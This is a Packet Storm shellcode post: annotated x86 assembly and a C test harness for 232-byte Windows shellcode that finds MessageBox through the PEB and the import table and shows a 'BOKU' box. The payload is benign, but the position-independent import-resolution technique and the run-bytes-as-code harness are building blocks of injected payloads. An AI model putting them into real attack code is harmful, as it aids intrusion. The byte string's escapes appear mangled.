Dynamic MessageBoxA||W PEB And Import Table Method Shellcode ≈ Packet Storm


# Shellcode Title: Dynamic MessageBoxA||W – PEB & Import Table Method (232 bytes)
# Shellcode Author: Bobby Cooke
# Date: March 17th, 2020
# Tested On:
# Windows 10 Pro 1909 (x86): HelpPane.exe, notepad.exe, certutil.exe
# Windows 10 Pro 1909 (x86_64): mmc.exe, xwizard.exe
# Windows XP SP2 (x86): calc.exe, dpvsetup.exe
# [!] Will only work if MessageBoxA or MessageBoxW exist in the Import Table of the Host PE

; Create new StackFrame
push ebp
mov ebp, esp
sub esp, 0x10

; Dynamically find the base address of the executable image from the PEB
; FS_Register > TEB > PEB > &ImageBase
xor ecx, ecx
mul ecx ; Clears EAX, ECX, EDX Registers
mov ebx, eax ; clear EBX Register
mov ebx, [fs:ebx+0x30] ; get PEB address = TEB+0x30
mov ebx, [ebx+0x8] ; get Image Base Addr = PEB+0x8
push ebx ; save &ImageBase in EBX
pop eax ; copy &ImageBase to EAX

; Get the Address of the Import Table
; DOS_Header > PE_Signature > ImportTable
add eax, [ebx+0x3C] ; EAX = &PE_Signature
mov dl, 0x80 ; &PE_Signature+0x80 = &ImportTable_RVA
add ax, dx ; EAX = &ImportTable_RVA
mov edx, [eax] ; EDX = RVA ImportTable
add edx, ebx ; EDX = &ImportTable
add dl, 0xC ; EDX = &Name_RVA of first Imported DLL

; Create string ‘USER32’
mov cx, 0x3233 ; 23 : 3233
push ecx ; push « 23, 0x0000 »
push 0x52455355 ; RESU : 52455355
mov [ebp-0x4], esp

; Find the Name RVA for user32.dll within the Import Table
; ImportTable > ImportDirectoryTable > LoopNameRVA’s
xor ecx, ecx ; ECX = Counter

fUser32Name:
push edx ; EDX = &Name_RVA of first Imported DLL
xor eax, eax
mov al, 0x14 ; &Name_RVA’s are every 20 bytes
mul cl ; Counter * 20 bytes
add [esp], eax
pop eax ; EAX = &Name_RVA of Nth DLL
push eax
mov esi, [ebp-0x4] ; ESI = &String
mov edi, [eax] ; EDI = RVA Name of Nth DLL
add edi, ebx ; EDI = &Name of Nth DLL
push ecx ; save counter to stack
xor ecx, ecx
cld ; clear direction flag = Process strings from left to right
mov cl, 0x6 ; ECX = String Length
repe cmpsb ; compare first 6 bytes of &
pop ecx ; ECX = Counter
jz foundUser32Name ; If string at &Name_RVA == « USER32 », then end loop
pop eax ; Pickup String Addr to fix stack
inc ecx ; else Counter ++
jmp short fUser32Name ; restart the loop

foundUser32Name:
pop eax ; EAX = &Name_RVA of user32.dll
mov [ebp-0x8], eax ; [ESP-0x8] = &Name_RVA of user32.dll
sub al, 0xC ; EAX = &User32_ImportNameTable_RVA
mov eax, [eax] ; EAX = User32_ImportNameTable_RVA
add eax, ebx ; EAX = &User32_ImportNameTable
mov [ebp-0xC], eax ; [ESP-0xC] = &User32_ImportNameTable

; Create string ‘MessageBoxA’
mov ecx, 0x41786f6f ; Axoo : 41786f6f
shr ecx, 8
push ecx ; « oxA,0x00 »
push 0x42656761 ; Bega : 42656761
push 0x7373654d ; sseM : 7373654d

jmp Counter

MessageBoxW:
mov byte [esp+0xA], 0x57 ; Change A to W
mov eax, [ebp-0xC] ; EAX = &User32_ImportNameTable

; Find the Name RVA for MessageBoxA within the Import Table
; ImportTable > ImportDirectoryTable > LoopNameRVA’s

Counter:
xor ecx, ecx

fNameLoop:
mov esi, esp ; ESI = « MessageBoxA,0x00 »
xor edx, edx
mov edi, [eax] ; EDI = RVA NameString
cmp edi, edx ; See if we checked all imported function names
je MessageBoxW
add edi, ebx ; EDI = &NameString of Nth Function
inc edi ; skip the first 2 bytes – Ordinal Value
inc edi ; skip the first 2 bytes
push ecx ; push counter value
xor ecx, ecx
cld ; clear direction flag = Process strings from left to right
mov cl, 0xB ; ECX = String Length
repe cmpsb ; compare first 11 bytes
pop ecx ; ECX = Counter value
jz foundName ; If string at &NameString == « MessageBox-« , then end loop
mov dl, 0x4
add eax, edx ; Next RVA NameString of Imported User32.dll function
inc ecx ; Counter ++
jmp short fNameLoop ; restart the loop

foundName:
mov eax, [ebp-0x8] ; EAX = &User32_Name_RVA
add al, 0x4 ; EAX = &User32_ImportAddressTable_RVA
mov edi, [eax] ; EDI = User32_ImportAddressTable_RVA
add edi, ebx ; EDI = &User32_ImportNameTable
xor eax, eax
mov al, 0x4
mul cx ; Counter * 4 = Offset MessageBoxA in Table
add eax, edi ;[EAX] = &MessageBoxA
mov eax, [eax] ; EAX = &MessageBoxA

mov byte bl, [esp+0xA] ; DL = ‘A’ or ‘W’

;CALL to MessageBoxA
; hOwner = NULL
; Text = « BOKU »
; Title = « BOKU »
; Style = MB_OK|MB_APPLMODAL
xor ecx, ecx ; clear ecx register
push ecx ; string terminator 0x00 for string « BOKU »
; MessageBoxA or MessageBoxW?
cmp bl, 0x41 ; if BL = ‘A’, then
je MsgBoxA ; push ASCII string
; String = « B-O-K-U-« 
push 0x2d552d4b ; -U-K : 2d552d4b
push 0x2d4f2d42 ; -O-B : 2d4f2d42
mov edx, esp ; EDX = &String
UnicodeStrLoop:
inc edx ; 1st Char +1
mov byte [edx], ch ; Null byte after ever char in Unicode String
inc edx ; Every Other Char +2
inc ecx ; LoopCounter ++
cmp cl, 0x4 ; If end of string, then
je pushArgs ; Push arguments to stack for MessageBox- Call
jmp short UnicodeStrLoop
MsgBoxA:
push 0x554b4f42 ; UKOB : 554b4f42
pushArgs:
xor ecx, ecx
mov ebx, esp ; EBX = &String
push ecx
push ebx
push ebx
push ecx
call eax ; Call MessageBox- Function

############################################################################################################################

#include <windows.h>
#include <stdio.h>

char code[] =
« x55x89xe5x83xecx10x31xc9xf7xe1x89xc3x64x8bx5bx30x8bx5b »
« x08x53x58x03x43x3cxb2x80x66x01xd0x8bx10x01xdax80xc2x0c »
« x66xb9x33x32x51x68x55x53x45x52x89x65xfcx31xc9x52x31xc0 »
« xb0x14xf6xe1x01x04x24x58x50x8bx75xfcx8bx38x01xdfx51x31 »
« xc9xfcxb1x06xf3xa6x59x74x04x58x41xebxdex58x89x45xf8x2c »
« x0cx8bx00x01xd8x89x45xf4xb9x6fx6fx78x41xc1xe9x08x51x68 »
« x61x67x65x42x68x4dx65x73x73xebx08xc6x44x24x0ax57x8bx45 »
« xf4x31xc9x89xe6x31xd2x8bx38x39xd7x74xecx01xdfx47x47x51 »
« x31xc9xfcxb1x0bxf3xa6x59x74x07xb2x04x01xd0x41xebxe0x8b »
« x45xf8x04x04x8bx38x01xdfx31xc0xb0x04x66xf7xe1x01xf8x8b »
« x00x8ax5cx24x0ax31xc9x51x80xfbx41x74x18x68x4bx2dx55x2d »
« x68x42x2dx4fx2dx89xe2x42x88x2ax42x41x80xf9x04x74x07xeb »
« xf4x68x42x4fx4bx55x31xc9x89xe3x51x53x53x51xffxd0 »;

int main(int argc, char **argv)
{
int (*func)();
func = (int(*)()) code;
(int)(*func)();
}



Source link

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *